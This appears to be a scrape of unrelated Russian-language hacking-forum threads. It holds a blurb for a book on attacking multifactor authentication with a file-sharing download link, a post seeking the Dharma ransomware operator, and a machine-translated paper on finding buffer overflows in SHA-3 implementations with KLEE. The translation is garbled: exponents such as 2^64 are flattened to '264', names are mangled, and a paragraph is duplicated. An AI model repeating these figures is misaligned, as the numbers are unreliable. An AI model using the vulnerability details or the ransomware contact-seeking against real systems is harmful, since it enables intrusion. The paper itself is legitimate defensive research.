Chapter 3: Types of Authentication Chapter 3 covers dozens of types of authentication, describes how they differ from one another, and examines the inherent strengths and weaknesses of each type of solution.

Chapter 4: Usability vs. Security Security is always a trade-off between user- friendliness and security. MFA is no exception. The most secure options will often not be tolerated
by end users. Chapter 4 covers the fundamental challenges of good security and when good security actually becomes so onerous that it becomes bad security. The best secu- rity options are good trade-offs between usability and security. Find out when that line

is crossed.
Part II: Hacking MFA This part of the book covers the various ways to hack and attack various MFA solutions. Mitigations and defenses for each of the attacks are detailed in each chapter.

Chapter 5: Hacking MFA in General Chapter 5 begins by explaining the very high-level ways that MFA can be hacked, with a summary of the various techniques. Every MFA solution is susceptible to multiple hacking attacks and are covered in the rest of the chap- ters of this section.

Chapter 6: Access Control Token Tricks Chapter 6 starts off by discussing, in detail, one of the most popular, decades-long, MFA hacking methods: that of compromising the resulting access control token. Chapter 6 shows multiple ways in which access control tokens can be compromised.

Chapter 7: Endpoint Attacks A compromised device or computer can be attacked in hun- dreds of different ways, including bypassing or hijacking MFA solutions. A compromised endpoint cannot be trusted. Chapter 7 discusses several popular endpoint attacks.

Chapter 8: SMS Attacks Chapter 8 covers multiple Short Message Service (SMS) attacks, including subscriber identity module (SIM) hacks. For years now, the U.S. government has said that SMS should not be used for strong authentication and yet the most common MFA solutions on the Internet involve SMS. Learn why that shouldn’t be the case.

Chapter 9: One-Time Password Attacks One-time password (OTP) solutions are among the most popular MFA solutions, and they are good but not unhackable. Chapter 9 covers the various types of OTP solutions and how to hack them.

Chapter 10: Subject Hjack Attacks Unlike most of the other MFA attacks described in this book, subject hijack attacks are not very popular. In fact, they have not been know- ingly accomplished in a single public attack. Still, they can be done, and simply knowing about them and how they can be accomplished is an important lesson. Chapter 10 covers one specific type of subject hijack attack on the world’s most popular corporate authenti- cation platform, in enough detail, that you will likely be worried about them forever.

Chapter 11: Fake Authentication Attacks Chapter 11 covers a type of MFA attack that can be used successfully against most MFA solutions. It involves taking the end user to a bogus web page and faking the entire authentication transaction, accepting anything the end user types in or provides, as successful. Learn how fake authentication attacks can be prevented.

Chapter 12: Social Engineering Attacks Social engineering attacks are responsible for the most malicious breaches of any of the hacker attack methods. Social engineering can be used to get around any MFA solution. Chapter 12 covers many of the popular social engi- neering attack methods against popular MFA solutions.

Chapter 13: Downgrade/Recovery Attacks Most of the popular MFA solutions allow a lesser secure method to be used to recover the associated account in the event of a problem with the primary MFA method. Chapter 13 covers how to use downgrade/ recovery attacks to bypass and disable legitimate MFA solutions.

Chapter 14: Brute-Force Attacks Many MFA solutions require users to type in PINs and other codes and do not have a mitigating “account lockout” feature enabled to pre- vent an attacker from guessing over and over until they find that information. In fact, it is so common for relatively new MFA solutions to forget this important safety feature, as Chapter 14 shows, that it is almost more commonplace than not.

Chapter 15: Buggy Software Security software is as buggy as any other software. MFA solutions are no exception. Chapter 15 discusses why we have buggy software and gives dozens of examples of buggy MFA solutions, including a single bug that led to tens of millions of MFA devices being immediately vulnerable.

Chapter 16: Attacks Against Biometrics There is not a biometric MFA solution that cannot be hacked or a biometric trait that cannot be mimicked. Chapter 16 describes many such attacks, including attacks against facial and fingerprint recognition, and dis- cusses mitigations against copying and reuse attacks.

Chapter 17: Physical Attacks A common security dogma says that if an attacker has physical access of your device, it’s game over. This is especially true of MFA devices. Chapter 17 will cover multiple physical attacks, ranging from using a multimillion-dollar electron microscope to using a $5 can of compressed air.

Chapter 18: DNS Hijacking Chapter 18 discusses how hijacking the name resolution service attached to an MFA solution can lead to the whole solution failing. Some MFA solution providers dispute whether this sort of attack should be considered a real attack against the MFA solution since it doesn’t attack the MFA solution directly but allows MFA compromises.

Chapter 19: API Abuses Many MFA solutions have application programming interfaces (APIs). Chapter 19 shows how APIs can be used to compromise a single MFA scenario or a million victims at the same time.

Chapter 20: Miscellaneous MFA Hacks Chapter 20 details several other MFA attacks that don’t fit neatly in the other chapters or that made it in this book at the last second.

Chapter 21: Test: Can You Spot the Vulnerabilities? I’m going to test you. This chapter introduces a real-world, very secure MFA solution that is used by one of the largest com- panies in the world. After I describe how it works, most readers will think that it is pretty unhackable. But it is hackable, and I want you to use what you’ve learned in the previous chapters to find those potential vulnerabilities.

Part III: Looking Forward This last part of the book discusses how to better design MFA solu- tions and what the future of authentication may look like.

Chapter 22: Designing a Secure Solution Perhaps one of the most important tasks fac- ing the world today is how to allow voters to remotely securely cast votes online in free elections. Chapter 22 discusses the ways remote voting can go wrong and what a secure, remote MFA voting solution might look like.

Chapter 23: Selecting the Right MFA Solution Chapter 23 covers how you and your organization can pick the right MFA solution, one that appropriately balances usability and security and that works in most of your critical security scenarios. There is no one perfect MFA solution, but Chapter 23 helps you pick the best solution for you and your organization.

Chapter 24: The Future of Authentication The authentication of the future is probably going to look a lot different than the choices we have today. It’s likely to look a lot differ- ent than the perfect MFA solutions we designed in Chapter 22 and the one you picked in Chapter 23. Find out why the future is different from what we have today.

Chapter 25: Takeaway Lessons Chapter 25 closes the book by summarizing the most important lessons learned in the previous chapters, all tidied up in one place for easy referencing.

Appendix: List of MFA Vendors Appendix lists over 115 different MFA vendors and includes a link to a Microsoft Excel spreadsheet which lists the different MFA vendors which lists their basic features to help you explore and choose an MFA solution.

Download link: https://www25.zippyshare.com/v/awfrKrzY/file.html

dharma
ID: 676536fbb4103b69df373865
Thread ID: 52751
Created: 2021-06-10T13:10:23+0000
Last Post: 2021-06-10T13:10:23+0000
Author: vurnlb1x
Replies: 0 Views: 890

Does anyone know where the dharma boss is?

Изучение формальных методов реализации криптографических хеш-функций
ID: 676536fbb4103b69df37379f
Thread ID: 90289
Created: 2023-06-12T11:43:30+0000
Last Post: 2023-06-12T11:43:30+0000
Author: yashechka
Prefix: Статья
Replies: 0 Views: 858

Криптографические хеш-функции используются во многих приложениях, которые критически полагаются на свою устойчивость к атакам криптоанализа и правильность их реализации. Тем не менее, уязвимости в реализациях криптографических хеш-функций могут оставаться незамеченными более десяти лет, как показало недавнее обнаружение переполнения буфера в реализации SHA-3 в расширенном пакете кода Kec-cak (XKCP) влияя на Python, PHP и несколько других программных проектов. В этом документе объясняется, как была обнаружена уязвимость к переполнению буфера в XKCP. В более общем плане мы изучаем применение формальных методов к пяти финалистам пакетов, представленных на конкурс NIST SHA-3, что позволяет нам (повторно) обнаруживать уязвимости в реализациях Keccak и BLAKE, а также обнаруживать ранее нераскрытую уязвимость в реализация Гростля. Мы также показываем, как тот же подход повторно обнаруживает уязвимость, затрагивающую 11 из 12 реализованных криптографических хэш-функций в библиотеке Apple CoreCrypto. Наш подход состоит в удалении определенных строк кода и последующем использовании KLEE в качестве инструмента для доказательства функциональной эквивалентности. Мы обсуждаем преимущества и ограничения нашего подхода и надеемся, что наша попытка объединить некоторые более ранние подходы может привести к новым открытиям.

Введение

(Криптографическая) хэш-функция принимает сообщение переменной длины и превращает его в вывод фиксированной длины, известный как «хеш-значение» или «хэш». Чтобы хеш-функция была безопасной, должно быть невозможно с вычислительной точки зрения инвертировать функцию для данного хэша (устойчивость к прообразу) или найти два разных сообщения, которые приводят к одному и тому же хешу (устойчивость к коллизиям). Эти свойства позволяют использовать хеш-значение вместо самого сообщения в схеме цифровой подписи, так что успешная проверка подписи подтверждает, что сообщение не было изменено.

В ответ на атаку криптоанализа на хэш-функцию SHA-1, представленную на CRYPTO 2005 Ваном и др. [36], NIST решил запустить конкурс SHA-3 на новый стандарт хэш-функции [29]. Конкурс был объявлен в ноябре 2007 г. К октябрю 2008 г. было получено 64 заявки, а 51 была выбрана в качестве кандидатов в первом туре в декабре 2008 г. Четырнадцать из них прошли в качестве кандидатов во второй тур в июле 2009 г., а пять финалистов ( BLAKE, Grøstl, JH, Keccak и Skein) были объявлены в декабре 2010 года. Конкурс SHA-3 завершился в октябре 2012 года, когда Кекчак был объявлен победителем.

Пакеты, подаваемые на конкурс SHA-3, должны были включать эталонные и оптимизированные реализации на языке программирования C [27]. NIST определил используемый интерфейс прикладного программирования (API) (см. Раздел 3), а также тестовые векторы, которые требовались в каждом пакете отправки.

Поскольку пакеты, представленные на конкурс SHA-3, подвергались публичному рассмотрению, в нескольких заявках в 2008 и 2009 годах сообщалось об ошибках. Систематический анализ, проведенный Forsythe и Held из Fortify Software [18], обнаружил множество ошибок, которые обычно появляются в коде C такие как чтение за пределами границ, утечки памяти и разыменование нулевого указателя. В течение оставшейся части конкурса об ошибках не сообщалось, и в конечном итоге получившийся стандарт SHA-3 стал широко применяться во многих криптографических библиотеках.

Однако в сентябре 2015 года реализация на сайте BLAKE была обновлена с комментарием: «исправлена ошибка, которая давала неверные хэши в конкретных случаях использования» [4]. В 2018 году Муха и соавт. [24] повторно обнаружили ошибку, используя новую методологию тестирования, которая в конечном итоге была интегрирована в проект Google Wycheproof [10], и показали, что ошибка позволяет нарушить устойчивость хеш-функции к коллизиям.

На CT-RSA 2020 Муха и Celi [22] показали уязвимость, затрагивающую 11 из 12 реализованных хеш-функций в библиотеке Apple CoreCrypto. Уязвимость требовала вызова реализации на входах размером не менее 4 ГиБ, что приводило к бесконечному циклу. Эта уязвимость показала ограничение в программе проверки криптографических алгоритмов NIST (CAVP), которая не выполняла тесты хеш- функций для входных данных размером более 65 535 бит. Чтобы обойти это ограничение, NIST ввел тест больших данных (LDT).

В октябре 2022 года Муха [31] обнаружил уязвимость, которая повлияла как на пакет представления Keccak для финального раунда, так и на итоговую реализацию SHA-3 его разработчиками. В зависимости от конкретных введенных данных уязвимость приводила либо к бесконечному циклу, либо к переполнению буфера, когда предоставленные злоумышленником значения подвергались операции XOR в памяти [23].

Наши вклады.

Недостаток предыдущей работы по поиску уязвимостей в реализациях хеш-функций заключается в том, что им не хватает общности и они явно не соответствуют требованиям, поскольку продолжают обнаруживаться новые уязвимости, которые оставались незамеченными более десяти лет (несмотря на широкое общественное внимание). Новый вклад этой статьи состоит в том, чтобы попытаться преодолеть эту проблему, представив новый подход, который можно использовать для поиска уязвимостей в реализациях хеш-функций библиотеки Apple CoreCrypto, а также в трех из пяти представленных финалистов SHA-3: БЛЕЙК, Кекчак и Грёстль. В этой статье объясняется, как была обнаружена уязвимость в Keccak. Уязвимость в Grøstl — это новый вклад в эту статью, о котором ранее не сообщалось. Наш подход включает символическое выполнение для поиска ошибок в течение нескольких секунд, в то время как выполнение тестовых векторов может занять гораздо больше времени.

Связанные работы

Подход NIST к тестированию криптографических реализаций восходит к 1977 году, когда в SP 500-20 были введены два набора тестовых векторов для стандарта шифрования данных (DES) [25]. Теперь известный как тесты известных ответов (KAT) или статические алгоритмические функциональные тесты (AFT), первый набор тестовых векторов был предназначен для «полного применения таблиц нелинейных замен» (S-блоков) DES. Второй набор тестовых векторов, называемый тестами Монте-Карло (MCT), содержал «псевдослучайные данные для проверки того, что устройство не было разработано только для того, чтобы пройти набор тестов». Первоначально предназначенный для тестирования аппаратных реализаций, этот подход может применяться как к аппаратному, так и к программному обеспечению и лежит в основе Программы проверки криптографических алгоритмов NIST (CAVP).

Заявки на конкурс NIST SHA-3 должны были включать реализации на языке программирования C. NIST определил API [27] и предоставил исходный код для создания KAT и MCT [28]. Эти KAT и MCT помогли обеспечить согласованность различных реализаций одного и того же алгоритма. Кроме того, интересным нововведением стало включение чрезвычайно длинного сообщения KAT, которое предоставляло сообщение размером 1 ГиБ с целью обеспечения правильной обработки больших входных данных.

Для (аутентифицированных) алгоритмов шифрования платформы SUPERCOP [7] и BRU- TUS [34] выполняют некоторые дополнительные тесты, такие как проверка правильности обработки перекрывающихся входных данных или того, возвращает ли шифрование с последующим дешифрованием исходный открытый текст.

Аумассон и Ромайлер представили криптодифференциальный фаззинг [3], который использует фаззер для сравнения выходных данных различных криптографических библиотек и поиска расхождений. Такой подход оказался очень эффективным, о чем свидетельствуют многочисленные ошибки, обнаруженные в проекте Cryptofuzz Вранкена [35].

Формальные методы и проверка программы также могут быть применены к реализации хеш-функции. Чуднов и др. [15] продемонстрировали, что реализация Keyed-Hash Mes-sage Authentication Code (HMAC) (с использованием хэш-функции SHA-256) библиотеки Amazon s2n соответствует формальной спецификации с использованием Software Analysis Workbench (SAW) Galois. Криптографическая библиотека HACL [32, 38] формально верифицируется с использованием структуры верификации F. Мы ссылаемся на Проценко и Хо [33] для объяснения того, как его реализация хэш- функции была недавно полностью переработана. Наконец, мы упомянем SPARKSkein Чепмена и др. [13] как реализацию финалиста SHA-3 Skein, которая была написана и проверена с использованием языка и набора инструментов SPARK [1].

Чепмен и др. [13] указали на ошибку в пакете отправки Skein в NIST. Ошибка связана с сообщениями длиной более 264-8 бит. Хотя это и нецелесообразно, это нарушает требование SHA-3 для отправки, что алгоритм-кандидат (и, следовательно, логически также правильная реализация алгоритма) «должен поддерживать максимальную длину сообщения не менее 264-1 бит» [26].

1686569815373.png

Оценка хеш-значения сообщения, которое предоставляется «на лету» с использованием любого количества вызовов Update() произвольной длины.

1686569823647.png

Чтобы доказать, что любое количество вызовов Update() произвольной длины приводит к правильному вычислению, достаточно доказать, что два вызова toUpdate() эквивалентны одному большему вызову Update() при конкатенации обоих входных данных.

Интерфейсы криптографических хеш-функций

API для конкурса SHA-3 был определен NIST [27], требуя структуры данных hashState и четырех вызовов функций: Init(), Update(), Final() и Hash(). API был разработан для 64-битных операционных систем, которые уже были широко распространены в начале конкурса SHA-3.

Цель структуры данных hashState — содержать «всю информацию, необходимую для описания текущего состояния алгоритма-кандидата SHA-3». Он должен содержать переменную hashbitlen для указания выходного размера конкретного экземпляра хеш-функции.

Четыре вызова функций показывают, как предполагается использовать hashState:

– Init() инициализирует структуру данных hashState.

– После инициализации можно выполнить любое количество вызовов Update() для обработки частей сообщения путем соответствующего обновления hashState. На практике этот API «инкрементного хеширования» обеспечивает значительное повышение эффективности, если сообщение недоступно все сразу или разделено на два или более несмежных массива [33, с. 9].

– Final() выполняет любую окончательную обработку, необходимую для hashState для вывода хеш-значения.

– Hash() обрабатывает сообщение одновременно, вызывая Init(), Update() и Final().

Предположим, что вычисления «все сразу» с использованием Init(), Update() и Final() верны. Тогда достаточным (но не необходимым) условием корректности вычислений с использованием любого количества вызовов Update() (как показано на рисунке 1) является:

Условие 1. Два последовательных вызова Update() изменяют hashState так же, как один вызов Update() при конкатенации обоих входов.

Можно видеть, что условие 1 является достаточным с помощью доказательства от противного, когда условие применяется рекурсивно, как показано на рисунке 2. Однако есть несколько случаев, когда условие 1 не является необходимым:

– Обозначим хэш-состояние как действительное тогда и только тогда, когда оно достижимо из Init(), за которым следует любое количество вызовов Update(). Тогда нет необходимости, чтобы условие 1 выполнялось, если hashState недействителен.

– Если функция Final() может вернуть одно и то же значение хеш-функции для двух различных, но допустимых структур данных hashState, условие 1 также не является обязательным. Однако на практике этого, по-видимому, не происходит, поскольку мы встречали только реализации, в которых hashState однозначно представляет уже обработанное сообщение.

– В NIST SHA-3 API все длины указываются в битах с использованием 64-битного целого числа без знака [27], а алгоритм-кандидат может устанавливать максимальную длину сообщения 264 − 1 бит [26]. Если указана максимальная длина сообщения, условие 1 не требуется для последовательности из двух вызовов Update(), которые превышают максимальную длину сообщения (поскольку в этом случае хеш-функция может быть не определена).

– Документ NIST SHA-3 API указывает, что все вызовы Update() содержат данные (в битах), которые делятся на восемь, за исключением, возможно, последнего вызова. Следовательно, для двух последовательных вызовов Update() мы можем ограничить первый вызов длиной данных, кратной восьми битам.

В следующем разделе нашей целью будет проверка условия 1 для данной реализации хеш-функции, возможно, вместе с некоторыми предварительными условиями для исключения вышеупомянутых случаев, когда условие 1 не является необходимым. Мы удалим некоторые строки кода: как и во многих предыдущих работах, мы стремимся к «менее амбициозной, но все же важной цели — формулированию частичных спецификаций поведения программы и предоставлению методологий и инструментов для проверки их корректности» [5].

Прежде чем закончить этот раздел, обратите внимание, что в этой статье мы будем предполагать, что Init(), Update() и Final() вызываются в "правильном" порядке. На практике может быть желательно вызывать Update() после Final(). Однако, как показали Benmocha [6], это может быть очень небезопасно для криптографических библиотек, которые не ожидают такого использования.

Проверка программы с помощью KLEE

В этой статье мы будем использовать KLEE [11], инструмент символьного выполнения, построенный поверх архитектуры компилятора LLVM (Low-Level Virtual Machine) [21].

Хотя типичным использованием KLEE является автоматическое создание тестовых векторов, обеспечивающих высокое покрытие кода, его также можно использовать для доказательства полной функциональной эквивалентности двух реализаций [11, §5.5]. Всякий раз, когда KLEE сталкивается с ветвью выполнения, основанной на символическом значении, он будет (концептуально) следовать обеим ветвям, поддерживая набор ограничений, называемых условиями пути для каждой ветви. Недостатком этого подхода является то, что количество путей может расти очень быстро.

В отличие от CBMC [16], который представляет собой средство проверки ограниченной модели для программ на C и C++, KLEE не требует ограничения количества итераций для каждого цикла. Конкурс NIST SHA-3 требовал, чтобы максимальная длина сообщения составляла не менее 264 - 1 бит, и обычно можно увидеть хеш-функции, которые итеративно обрабатывают сообщение, используя функцию сжатия, которая принимает 512 или 1024 бита на входе. Вычисление хеша для таких больших сообщений на практике невозможно, однако мы увидим, что наш подход с использованием KLEE обрабатывает такие входные данные довольно быстро (и без необходимости раскручивания цикла или ручных усилий по перезаписи циклов).

В следующих разделах мы покажем, как применить KLEE к эталонным реализациям пяти финалистов SHA-3, а также к реализации SHA-3 XKCP и хеш-функциям, реализованным в библиотеке Apple CoreCrypto. В этой статье мы предоставляем только полный исходный код для наших экспериментов KLEE с алгоритмом JH. Однако код для всех наших экспериментов будет доступен как программный артефакт.

В таблице 1 приведены данные о времени выполнения для 256-битного выходного хеш-значения, за исключением Keccak и SHA-3, где мы выберем скорость 1024 бит. Мы обнаружили, что время выполнения обычно не зависит от длины хеш-значения. Наши эксперименты проводились на процессоре Intel Core i7-1165G7 с использованием KLEE 2.3 с решателем по умолчанию STP (Simple теорема Prover) [12, 19].

4.1 JH

JH [37] — это хеш-функция, разработанная Хонджуном Ву, которая вышла в финал конкурса NIST SHA-3. Как требуется для всех представлений [26], JH поддерживает длину хэша 224, 256, 384 и 512 бит. Сообщение дополняется до числа, кратного 512 битам, а затем разбивается на 512-битные блоки, которые обрабатываются той же функцией сжатия F8().

Таблица 1. Время выполнения KLEE (в минутах и секундах) для скорости 1024 бита (для Keccak и SHA-3) или длины вывода хэша 256 бит (для всех остальных хеш- функций). Второй столбец — это время выполнения для поиска тестового вектора, выявляющего ошибку (если код неверен), а третий столбец — время выполнения для подтверждения правильности (после исправления реализации, если есть ошибка).

1686569844462.png

Мы предоставляем весь jh klee.c, который мы использовали в нашем эксперименте, в листинге 1. Он содержит функцию Update(), указанную в jh ref.h пакета представления JH. Для удобства чтения мы скорректировали отступ, а для компактности убрали комментарии к исходному коду. Единственное другое изменение, которое мы внесли в Update(), — это закомментировать строки, включающие memcpy() и F8(), поскольку наша (частичная) проверка эквивалентности не включает ни содержимое сообщения (только его длину), ни предполагают реализацию функции сжатия F8(). Более того, в этой статье мы не делаем никаких утверждений о правильности функций Init(), Final() или Hash().

В листинге 2 мы предоставляем Makefile, который использует Docker как простой и переносимый способ запуска KLEE на jh klee.c. Он либо вернет тестовый вектор, нарушающий условие 1, либо докажет, что такого тестового вектора не существует. Мы обнаруживаем, что через 50 секунд KLEE доказывает (частичную) согласованность функции Update(). Обзор времени выполнения для всех наших экспериментов приведен в таблице 1.

Пять строк в листинге 1 отмечены комментарием // необязательный в соответствии с рассуждениями в разделе 3. Их можно безопасно опустить с единственным недостатком, заключающимся в том, что они примерно удваивают время выполнения KLEE. Однако эти пять строк могут быть полезны для адаптации подхода к другим реализациям-кандидатам SHA-3, где они могут понадобиться.

Листинг 1. Приложение к JH (jh klee.c).

1686569855990.png
1686569885563.png
1686569898897.png
1686569908181.png

4.2 Skein

Skein — это представление SHA-3 финального раунда, разработанное Ferguson et al. [17]. Как и JH, его основное предложение обрабатывает сообщение блоками по 512 бит независимо от длины хеш-значения.

Хотя алгоритм, используемый реализацией Скейна для обработки сообщения в блоках, следует совершенно другому подходу по сравнению с JH, система проверки KLEE выглядит очень похожей с тем основным отличием, что утверждение о размере данных в буфере заменяется утверждением о u.h.bCnt .

Время выполнения даже меньше, чем для JH, так как KLEE требуется всего 34 секунды, чтобы доказать отсутствие тестовых векторов, нарушающих утверждения.

4.3 BLAKE

Другой представленный на финальном этапе SHA-3 — это хэш-функция BLAKE от Aumas-son. [2]. В зависимости от длины хеша BLAKE использует либо 512-битную, либо 1024-битную функцию сжатия. Он имеет переменную datalen для отслеживания количества битов в буфере, аналогично размеру данных в буфере для JH.

Однако он также отслеживает счетчик общего количества битов сообщения, обработанных на данный момент. В зависимости от длины хеша этот счетчик хранится либо в массиве с двумя 32-битными целыми числами без знака, либо в массиве с двумя 64-битными целыми числами без знака.

В сентябре 2015 года веб-сайт BLAKE [4] был обновлен, чтобы исправить ошибку во всех реализациях, представленных во время конкурса SHA-3. Используя наш подход, KLEE легко заново обнаруживает эту ошибку всего за пять секунд.

В частности, для 256-битного хеш-значения он предоставляет тестовый вектор, показывающий, что Update() для 384 битов, за которыми следуют 512 бит, приводит к другому состоянию, чем однократное обновление 384+512=896 бит.

Это согласуется с условиями ошибки, описанными Муха [24]: ошибка возникает, когда за неполным блоком (менее 512 бит) следует полный блок (512 бит).

Используя обновленный код на сайте BLAKE [4], мы сталкиваемся с препятствием при запуске KLEE. Он не завершается в течение разумного промежутка времени, так как страдает от проблемы взрыва пути, упомянутой в разделе 2.

Дальнейший анализ показывает, что ветвь if внутри цикла while является виновником. Для размера блока 512 бит код BLAKE выглядит следующим образом:

1686569960351.png

We found that this path explosion can be avoided if the counter of the mes- sage bits hashed so far is not stored as an array of two unsigned 32-bit variables, but as one unsigned 64-bit variable. More specifically, we change the BLAKE code as follows:

1686569987592.png

Мы обнаружили, что этого взрыва пути можно избежать, если счетчик хешированных до сих пор битов сообщения хранится не в виде массива из двух 32-битных переменных без знака, а в виде одной 64-битной переменной без знака. В частности, мы меняем код BLAKE следующим образом:

4.4 Grøstl

Теперь мы переходим к другому финалисту SHA-3: Grøstl от Gauravaram et al. [20]. Сообщение разбивается на 512-битные или 1024-битные блоки в зависимости от длины хеш-значения. Насколько нам известно, об ошибках в этой реализации не сообщалось.

В эталонной реализации Grøstl не все циклы находятся внутри Update(), но также и внутри функции Transform(), которая обрабатывает не только один блок, но и любое количество полных блоков. Здесь мы уже заметили первую проблему: все переменные, представляющие длину сообщения, являются 64-битными целыми числами, но функция Transform() объявлена с параметром (заданным пользователем) 32-битного типа u32, что приводит к некорректному неявному приведению .

Поскольку мы применяем наш подход с использованием KLEE, поиск второй ошибки занимает шесть секунд. Ошибка снова связана с использованием неверных типов: переменная index объявлена как int, что является 32-битным типом данных на 64-битных процессорах. Однако для достаточно больших входных сообщений значение индекса переполняется, что приводит к неопределенному поведению в языке программирования C.

В листинге 3 мы предоставляем программу для демонстрации ошибки. При компиляции с использованием gcc программа записывает в память большое количество данных, что почти наверняка приводит к сбою. Становится интереснее, когда мы компилируем эту программу с помощью clang. Неопределенное поведение приводит к тому, что clang выполняет оптимизацию, которая позволяет избежать переполнения буфера, но вместо этого выводит один и тот же хэш для двух сообщений разной длины. Таким образом, реализация нарушает свойство устойчивости к коллизиям (см. раздел 1).

Мы искали реализации, которые могут быть уязвимы из-за этой ошибки, но не обнаружили ни одного проекта или продукта, которые могли бы быть затронуты. По этой причине мы не отправили отчет об уязвимости. Наиболее заметное использование Grøstl, которое мы обнаружили, было частью алгоритма проверки работоспособности начальной версии криптовалюты Monero. Однако использование Grøstl там давно прекращено.

С исправлением двух ошибок типа доказать правильность с помощью KLEE оказалось намного сложнее, чем ожидалось. Мы снова сталкиваемся с проблемой взрыва пути, которую мы решили, жестко закодировав размер блока и переписав цикл, который побайтно копировал данные в буфер. С этими модификациями KLEE завершается через десять секунд с доказательством того, что утверждения недостижимы.

1686570170736.png

Листинг 3. Из-за неопределенного поведения ошибка Grøstl приводит к ошибке сегментации при компиляции с использованием gcc или коллизии при компиляции с использованием clang (groestl bug.c).

4.5 Keccak

Единственный финалист SHA-3, который мы еще не изучали в этой статье, — это заявка, выигравшая конкурс: Keccak by Bertoni [9]. Keccak дополняет сообщение и разбивает его на блоки, которые затем обрабатываются криптографической перестановкой. Размер блока, также известный как скорость, имеет значение по умолчанию 1024 бита [9]. Сейчас мы сосредоточимся на этом значении по умолчанию, а влияние размера блока обсудим позже.

Об уязвимости сообщил Муха, и ей присвоен код CVE-2022-37454 [31]. Как победитель конкурса SHA-3 эталонный код Keccak довольно широко распространен, и уязвимость затронула различные проекты, такие как Python и PHP. Подробности об уязвимости см. у Муха и Celi [23]. В этой статье мы объясняем, как уязвимость была обнаружена с помощью KLEE.

Прямой подход с использованием KLEE не заканчивается в разумные сроки. Следовательно, может быть полезно исключить бесконечный цикл в реализации Keccak, так как это приведет к тому, что KLEE также войдет в бесконечный цикл.

Для завершения цикла while(i < databitlen) достаточным, но не необходимым условием является то, что i продвигается вперед в каждой итерации цикла. Это легко проверить, введя старую переменную i, которая инициализируется значением i. Когда переменная i изменяется, мы гарантируем, что она отличается от предыдущей итерации цикла:

1686570181240.png

В конце цикла устанавливаем old i = i. С этим дополнительным кодом для обнаружения бесконечных циклов KLEE требуется менее секунды для вывода ошибки утверждения. Анализируя тестовый вектор, предоставленный KLEE, мы можем подтвердить, что действительно нашли бесконечный цикл. Обратите внимание, что этот дополнительный код используется только для того, чтобы мы могли легко обнаружить бесконечный цикл в KLEE, дополнительный код не требуется для правильной реализации (которая не содержит бесконечный цикл).

Оказывается, есть не только вход, который приводит к бесконечному циклу, но и другой вход, который вызывает запись большого количества данных в память, что приводит к ошибке сегментации. Детали этого переполнения буфера приведены Муха и Celi [23] и выходят за рамки данной статьи.

Ошибка проявляется, когда в буфере уже есть x битов данных, а затем выполняется Update() из 232 - x битов или более. В приведенном ниже коде Кекчака могут возникнуть две проблемы: старшие биты могут быть отброшены из-за неправильного приведения к 32-битному целому числу, а добавление может переполниться:

1686570190894.png

Мы можем исправить эту ошибку, немного изменив код так, чтобы partialBlock не превышал размера блока. В этом случае для partialBlock достаточно 32-битного целого числа:

1686570199042.png

Для исправленного кода KLEE требуется всего 39 секунд, чтобы доказать, что утверждения не могут быть нарушены.

Наконец, мы отмечаем, что KLEE, по-видимому, не прекращает работу в разумные сроки для размеров блоков, не кратных двум. Такие размеры блоков были предложены во время конкурса SHA-3 для обеспечения различных уровней безопасности. К сожалению, решатели часто сталкиваются с трудностями при делении на константу, не являющуюся степенью двойки. KLEE имеет флаг -solver- optimize-divides, который пытается оптимизировать такие деления, прежде чем передать их решателю. Однако даже с этим флагом мы не смогли найти способ заставить KLEE завершаться для размеров блоков, не кратных двум.

4.6 XKCP (SHA-3)

Расширенный пакет кода Keccak (XKCP) [8] поддерживается командой Keccak. Он содержит стандартизированный NIST вариант хеш-функции Keccak. Между представлением Keccak в финальном раунде и стандартом SHA-3 отличается только заполнение сообщения.

Реализация SHA-3 в XKCP основана на реализации представления Keccak в финальном раунде. Тем не менее, он претерпел довольно много рефакторинга. По этой причине мы указываем XKCP SHA-3 как отдельную реализацию в таблице 1.

Та же ошибка, которая влияет на отправку Keccak в финальном раунде, присутствует и в XKCP, хотя для ее запуска требуются два вызова Update() с общей длиной 232 байта (4 ГиБ), а не 232 бита (512 МиБ). Более того, у него есть еще одна ошибка (отсутствующая в представлении Keccak), из-за которой сообщения чуть меньше 264 байт приводят к бесконечному циклу. Это связано с переполнением в операции сравнения (dataByteLen >= (i + rateInBytes)), которое в исправленной версии кода заменено на dataByteLen-i >= rateInBytes.

Используя KLEE, требуется менее одной секунды, чтобы предоставить тестовый вектор, который вызывает ошибку, при условии, что мы снова расширим код для обнаружения бесконечных циклов. Для размера блока 1024 бит KLEE требуется 20 секунд, чтобы доказать, что утверждения недостижимы.

4.7 CoreCrypto

Наконец, мы хотели бы вернуться к бесконечному циклу в библиотеке Apple CoreCrypto. Уязвимость затронула 11 из 12 реализованных хеш-функций и получила код CVE-2019-8741 [30]. Подробности об ошибке см. у Mouha и Celi [22].

Подход с использованием KLEE довольно прост в реализации. KLEE находит уязвимый тестовый вектор менее чем за секунду для исходной реализации и может доказать недостижимость утверждений менее чем за три минуты для обновленной реализации.

Здесь мы хотим отметить интересное совпадение. Если мы начнем с исправленной реализации Update() в Apple CoreCrypto с небольшим рефакторингом (например, заменив len на dataByteLen-i, переименовав переменные и функции и удалив ненужный код), мы получим исправленную реализацию Update(), который используется XKCP. Кажется, что Update() достаточно прост, чтобы две команды могли независимо прийти к одной и той же реализации (вплоть до простого рефакторинга), но достаточно сложен, чтобы содержать уязвимости, которые оставались нераскрытыми более десяти лет.

Ограничения и обсуждение

После завершения конкурса SHA-3 в 2012 г. уязвимости были обнаружены в реализациях финалиста SHA-3 BLAKE в 2015 г. [4], в 11 из 12 реализованных хэш- функций библиотеки Apple CoreCrypto в 2019 г. [30], а недавно в эталонной реализации победителя SHA-3 Keccak [31].

Все эти уязвимости были связаны с функцией Update(), которая используется для обработки сообщения блоками. Тем не менее, влияние уязвимостей совершенно различно. В то время как реализация XKCP SHA-3 содержала уязвимость переполнения буфера с возможностью выполнения произвольного кода, влияние уязвимости в библиотеке Apple CoreCrypto ограничивается бесконечным циклом. Уязвимость BLAKE нельзя использовать для запуска какой-либо ошибки времени выполнения, однако ее можно использовать для нарушения свойства устойчивости к коллизиям хеш-функции.

Это позволяет нам сделать первое наблюдение, что подходы к предотвращению проблем с безопасностью памяти (такие как обеспечение соблюдения стандартов кодирования, песочница или переход от C/C++ к более безопасным языкам программирования) были бы полезными, но недостаточными, чтобы избежать уязвимостей, описанных в этом документе. бумага. Мы также достигаем пределов подходов с использованием тестовых векторов: тест больших данных (LDT) может занять довольно много времени для выполнения сообщения размером 4 ГиБ для обнаружения ошибок в библиотеке Apple CoreCrypto, а для ошибки XKCP — один большой вызов. to Update() не активирует уязвимость (поскольку требует, чтобы некоторые данные уже присутствовали в буфере).

